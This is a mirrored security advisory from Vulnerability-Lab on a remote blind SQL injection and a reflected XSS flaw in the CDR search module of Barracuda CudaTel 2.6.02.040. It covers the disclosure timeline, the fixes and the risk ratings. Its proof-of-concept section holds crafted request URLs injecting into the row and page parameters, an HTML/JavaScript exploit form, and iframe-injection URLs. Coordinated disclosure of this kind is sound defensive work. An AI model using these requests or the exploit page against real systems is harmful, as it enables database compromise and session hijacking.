发布 2013-07-22 漏洞条目

Barracuda CudaTel 2.6.02.040 – SQL Injection

Exploit Source

Title:

======

Barracuda CudaTel 2.6.02.040 - Remote SQL Injection Vulnerability

Date:

=====

2013-07-20

References:

===========

http://vulnerability-lab.com/get_content.php?id=775

BARRACUDA NETWORK SECURITY ID: BNSEC-723

VL-ID:

=====

775

Common Vulnerability Scoring System:

====================================

8.6

Introduction:

=============

Designed to enable seamless voice and video communication, the CudaTel Communication Server is an easy-to-use,

affordable, next-generation phone system for businesses. CudaTel Communication Server s enterprise-class

feature set includes Voice over IP (VoIP) PBX services, conferencing, follow-me, automated attendant services,

and more, controlled by an easy-to-use Web interface. CudaTel Communication Server is compatible with any SIP

device and provider, and can be pre-configured for use with both analog and digital telephone networks. Powerful,

Complete Solution With an expansive feature set and and no per user or phone licensing fees, the CudaTel

Communication Server is equipped and priced for organizations of any size. Native High Definition audio support

and integrated phone line (TDM) hardware produces an unparalleled audio experience. VOIP encryption protects calls

from hackers and digital eavesdroppers.

(Copy of the Vendor Homepage: http://www.barracudanetworks.ca/cudatel.aspx )

Abstract:

=========

1.1

The Vulnerability Laboratory Research Team discovered a sql injection vulnerability in Barracuda Networks CudaTel v2.6.002.040 appliance application.

1.2

The Vulnerability Laboratory Research Team discovered a client side vulnerability in Barracuda Networks CudaTel v2.6.002.040 appliance application.

Report-Timeline:

================

2012-11-26: Researcher Notification & Coordination (Benjamin Kunz Mejri)

2012-11-27: Vendor Notification (Barracuda Networks Security Team - Bug Bounty Program)

2012-12-01: Vendor Response/Feedback (Barracuda Networks Security Team - Bug Bounty Program)

2013-03-01: Vendor Fix/Patch (Barracuda Networks Developer Team) [Manager: Dave Farrow]

2013-07-20: Public Disclosure (Vulnerability Laboratory)

Status:

========

Published

Affected Products:

==================

Barracuda Networks

Product: CudaTel - Communication Server 2.6.002.040

Exploitation-Technique:

=======================

Remote

Severity:

=========

Critical

Details:

========

1.1

A SQL Injection vulnerability is detected in the Barracuda Networks CudaTel v2.6.002.040 appliance web application.

The vulnerability allows remote attackers or local low privilege application user accounts to inject (execute)

own SQL commands to the affected application dbms.

The blind sql injection vulnerability is located in the cdr module when processing to request manipulated row & page

parameters as searchstring. A remote attacker can for example delete the standard value context of the module request

to inject (execute) own sql commands.

Eploitation of the vulnerability requires a low privilege web application user account and no user interaction.

Successful exploitation of the vulnerability results in datbase management system and web application compromise.

Vulnerable Section(s)

[+] search - listing

Vulnerable Module(s)

[+] cdr - seachstring listing

Vulnerable Parameter(s)

[+] &row

[+] &page

1.2

A client side input validation vulnerability is detected in the Barracuda Networks CudaTel v2.6.002.040 appliance web application.

The non-persistent vulnerability allows remote attackers to manipulate client side application requests to browser.

The secound vulnerability (client side) is located in the invalid value exception handling. Remote attackers can provoke the

exception-handling by including invalid script code inputs to redisplay the malicious context when processing to load the output.

To provoke the exception-handling the remote attacker can use the vulnerable row parameter of the cdr searchstring listing to

execute own malicious (client-side) script code.

Exploitation of the vulnerability requires a no web application user account but medium or high user interaction.

Successful exploitation of the vulnerability results in client side phishing, client side session hijacking and client side

external redirects to malware or malicious websites. Exploitation requires medium user interaction.

Vulnerable Section(s):

[+] search - listing

Vulnerable Module(s):

[+] cdr - seachstring listing

Vulnerable Parameter(s):

[+] &row

Affected Module(s):

[+] Exception-Handling (invalid value)

Proof of Concept:

=================

1.1

The sql injection vulnerability can be exploited by remote attackers with low privilege web application user account and without user interaction.

For demonstration or reproduce ...

Standard Request: Row 100

http://cudatel.127.0.0.1:1336/gui/cdr/cdr?_=1353973149509&since=1+day&search_string=&rows=100&page=1&sortby=end_timestamp&sortorder=desc

Standard Request: Output

--- 1.

{"count":0,"page":"1","cdr":[],"rows":"100"}

Manipulated Request:

http://cudatel.127.0.0.1:1337/gui/cdr/cdr?

_=1353973149509&since=1+day&search_string=&rows=100&page='1+1%27[SQL-Injection!]%27--&sortby=end_timestamp&sortorder=desc

... or

http://cudatel.127.0.0.1:1337/gui/cdr/cdr?

%20%20_=1353973149509&since=1+day&search_string=&page='1335&page='1336&page='1337&rows='1+1%27[SQL-Injection!]%27--&page=1&sortby=end_timestamp&sortorder=desc

Manipulated Output:

--- 1.

cdr: []

count: 0

page: 1

rows: 1+2

--- 1.

cdr: []

count: 1+2'

page:

- '1335

- '1336

- '1337

- '1

rows: -1+1'[SQL-Injection!]'--

Exploit (PoC):

<title>Barracuda Networks CudaTel [CDR] (ROW&PAGE) - Remote SQL-Injection [PROOF OF CONCEPT]</title>

var path="/gui/cdr/cdr"

var adres="?%20%20_=1353973149509&since=1+day&search_string=&page='1335&page='1336&page='1337&rows="

var domain ="http://cudatel.127.0.0.1:1337"

var sql = "'1+1%27[SQL-Injection!]%27--"

function command(){

if (document.rfi.target1.value==""){

alert("NOPE!");

return false;

}

rfi.action= document.rfi.target1.value+path+adres+domain+sql;

rfi.submit();

}

//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

// Barracuda Networks CudaTel [CDR] (ROW&PAGE) - Remote SQL-Injection Exploit

//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

// Vulnerability Research Laboratory (www.vulnerability-lab.com)

//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

// Greets: Ibrahim EL-Sayed, Chokri Ben Achour, Mohammed ABKD. & Stealthwalker

//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

</script></head><body bgcolor="#000000" link="#990000">

<center><p align="center"><b><font face="Verdana" size="2" color="#006633">Barracuda Networks CudaTel [CDR] (ROW&PAGE)

- Remote SQL-Injection Exploit</font>

</b></p><form method="post" target="getting" name="rfi" onSubmit="command();"><div align="left">

<p><b><font face="Arial" size="2" color="#006633">VICTIM:</font></b>

<p><b><font face="Arial" size="2" color="#006633">EXAMPLE:</font><font face="Arial" size="2" color="#808080">

HTTP://VULNERABILITY-LAB.COM/[SCRIPT-PATH]/</font></b></p></div>

</p><p align="left"><input type="reset" value="Clear ALL" name="B2"></p></form><p><br>

<p align="center"><b><font face="Verdana" size="2" color="#008000">VULNERABILITY-LAB <a href="mailto:research@vulnerability-lab.com">

BKM</a></font></b></p></div></center></body></html>

1.2

The client side input validation vulnerability can be exploited by remote attackers without application user account and with medium required user interaction.

For demonstration or reproduce ...

PoC:

http://cudatel.127.0.0.1:1336/gui/cdr/cdr?

_=1353973149509&since=1+day&search_string=&rows=1%27[%3Ciframe%20src=http://www.vulnerability-lab.com%3E]&page=1&sortby=end_timestamp&sortorder=desc

http://cudatel.127.0.0.1:1336/gui/cdr/cdr?

_=1353973149509&since=1+day&search_string=&rows=100&page=1%27[%3Ciframe%20src=http://www.vulnerability-lab.com%3E]&sortby=end_timestamp&sortorder=desc

Note: We only verified the bug with the same exception in a not parsed parameter but the bug itself is located in all areas of the invalid exception.

Solution:

=========

1.1

To patch the sql injection it is required to parse the row and page parameters in the cdr module.

1.2

To fix the client side xss vulnerability parse by encoding the row parameter and restrict the input.

Encode the affected exception-handling output listing when processing to display invalid input values.

Note: Barracuda Networks provided an update of version 2.6.002.040 to v2.6.003.x to all clients and customers in the bn customer area.

Risk:

=====

1.1

The security risk of the remote sql injection web vulnerability is estimated critical.

1.2

The security risk of the client side input validation web vulnerability is estimated as medium(-).

Credits:

========

Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com)

Disclaimer:

===========

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CONTACT: research@vulnerability-lab.com

作者: Vulnerability-Lab
日期: 2013-07-22
类别: webapps
平台: hardware

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